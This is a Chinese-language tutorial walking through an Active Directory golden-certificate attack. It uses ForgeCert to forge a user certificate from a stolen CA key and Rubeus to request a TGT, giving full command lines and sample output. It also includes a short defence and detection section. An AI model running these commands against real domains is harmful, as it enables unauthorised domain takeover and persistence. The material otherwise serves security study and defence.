从理论到实践:使用ForgeCert与Rubeus获取域用户TGT的完整流程 从理论到实践使用ForgeCert与Rubeus获取域用户TGT的完整流程【免费下载链接】ForgeCertGolden certificates项目地址: https://gitcode.com/gh_mirrors/fo/ForgeCertForgeCert是一款强大的安全工具它利用BouncyCastle C# API和被盗的证书颁发机构CA证书及私钥为任意用户伪造能够对Active Directory进行身份验证的证书。通过配合Rubeus工具我们可以利用这些伪造的证书获取域用户的TGT票据授予票从而实现对域环境的深入渗透。本文将为你详细介绍这一完整流程帮助你从理论到实践全面掌握相关技术。一、核心概念解析什么是Golden Certificates在Active Directory环境中证书颁发机构CA的私钥安全至关重要。如果攻击者获取了CA的私钥该CA证书存在于NTAuthCertificates中就可以伪造能够进行域身份验证的证书这些伪造的证书被称为“Golden Certificates”。它们可以针对域中的任何主体并且在CA证书的有效期内通常默认5年也可设置更长都是有效的。更严重的是由于这些证书并非正常颁发流程的产物CA不会知晓它们的创建因此无法撤销。这使得Golden Certificates成为攻击者在域环境中持久化的重要手段。二、证书伪造的关键流程与原理证书伪造涉及一系列复杂的步骤下图清晰展示了证书注册的基本流程有助于我们理解后续伪造过程的原理证书伪造的核心步骤获取CA私钥攻击者需通过某种方式如利用Mimikatz或SharpDPAPI从CA服务器提取未受硬件保护如TPM或HSM的CA私钥。生成证书请求使用工具生成包含目标用户信息的证书签名请求CSR。伪造证书利用获取的CA私钥对CSR进行签名生成伪造的用户证书。使用伪造证书将伪造的证书与Rubeus等工具结合请求TGT以实现身份验证。三、快速上手ForgeCert的安装与基础配置1. 克隆项目仓库要开始使用ForgeCert首先需要克隆项目仓库到本地git clone https://gitcode.com/gh_mirrors/fo/ForgeCert2. 工具依赖与环境要求ForgeCert基于C#开发主要依赖BouncyCastle C# API。在编译和运行前请确保你的环境满足以下要求.NET Framework 4.5及以上适当的编译工具如Visual Studio或MSBuild四、实战操作使用ForgeCert伪造用户证书1. 命令行参数解析ForgeCert的命令行参数众多以下是一些关键参数的说明参数说明是否必填--CaCertPathCA私钥文件路径.pfx或.p12格式是--CaCertPasswordCA私钥文件密码否--Subject证书主题默认CNUser否--SubjectAltName要认证的用户UPN如userdomain.com是--NewCertPath新生成证书的保存路径是--NewCertPassword新生成证书的密码是--CRL伪造证书的CRL的ldap路径否2. 伪造证书的完整示例假设我们已获取CA证书文件ca.pfx密码为Password123!目标是为用户localadmintheshire.local伪造证书并保存为localadmin.pfx密码设为NewPassword123!。执行以下命令ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject CNUser --SubjectAltName localadmintheshire.local --NewCertPath localadmin.pfx --NewCertPassword NewPassword123!成功执行后将输出CA证书和伪造证书的详细信息例如CA Certificate Information: Subject: CNtheshire-DC-CA, DCtheshire, DClocal Issuer: CNtheshire-DC-CA, DCtheshire, DClocal Start Date: 1/4/2021 10:48:02 AM End Date: 1/4/2026 10:58:02 AM Thumbprint: 187D81530E1ADBB6B8B9B961EAADC1F597E6D6A2 Serial: 14BFC25F2B6EEDA94404D5A5B0F33E21 Forged Certificate Information: Subject: CNUser SubjectAltName: localadmintheshire.local Issuer: CNtheshire-DC-CA, DCtheshire, DClocal Start Date: 7/26/2021 3:38:45 PM End Date: 7/26/2022 3:38:45 PM Thumbprint: C5789A24E91A40819EFF7CFD77150595F8B9878D Serial: 3627A48F90F6869C3215FF05BC3B2E42 Done. Saved forged certificate to localadmin.pfx with the password NewPassword123!五、无缝衔接使用Rubeus获取TGT生成伪造证书后下一步是使用Rubeus工具利用该证书请求TGT。Rubeus是一款功能强大的Kerberos攻击工具能够与伪造的证书配合使用。使用Rubeus的基本命令假设伪造的证书文件为localadmin.pfx密码为NewPassword123!使用以下命令请求TGTRubeus.exe asktgt /user:localadmin /domain:theshire.local /certificate:localadmin.pfx /password:NewPassword123! /outfile:tgt.kirbi此命令将生成一个TGT票据文件tgt.kirbi后续可使用该票据进行进一步的域内操作例如使用Rubeus ptt命令将票据注入内存。六、防御与检测保护你的域环境虽然Golden Certificates攻击强大但我们可以通过以下措施进行防御和检测1. 保护CA私钥使用硬件安全模块HSM或TPM来保护CA私钥防止被轻易提取。定期轮换CA私钥降低私钥泄露后的风险。2. 实施OCSP检查正如Fabian Bader所建议的可以通过调整Microsoft OCSP来缓解许多Golden Certificates的使用。虽然这并非绝对防弹但能有效增加攻击者的难度。3. 监控与检测关注TypeRefHash当前ForgeCert代码库的TypeRefHash为b26b451ff2c947ae5904f962e56facbb45269995fbb813070386472f307cfcf0。TypeLib GUIDForgeCert的TypeLib GUID为bd346689-8ee6-40b3-858b-4ed94f08d40a可用于创建Yara规则进行检测。参考项目中的Yara规则文件ForgeCert.yar加强对可疑文件的扫描。七、总结与思考ForgeCert与Rubeus的组合为攻击者提供了一种强大的域渗透手段其原理与“黄金票据”Golden Tickets类似但由于CA私钥的获取和轮换难度更大危害也更为持久。作为安全从业者我们不仅要了解这些攻击技术更要重视防御措施的实施保护好域环境中的关键 cryptographic 材料。希望本文能帮助你全面了解使用ForgeCert与Rubeus获取域用户TGT的流程。在实际操作中请务必遵守法律法规仅在授权环境中进行测试和研究。【免费下载链接】ForgeCertGolden certificates项目地址: https://gitcode.com/gh_mirrors/fo/ForgeCert创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

本月热点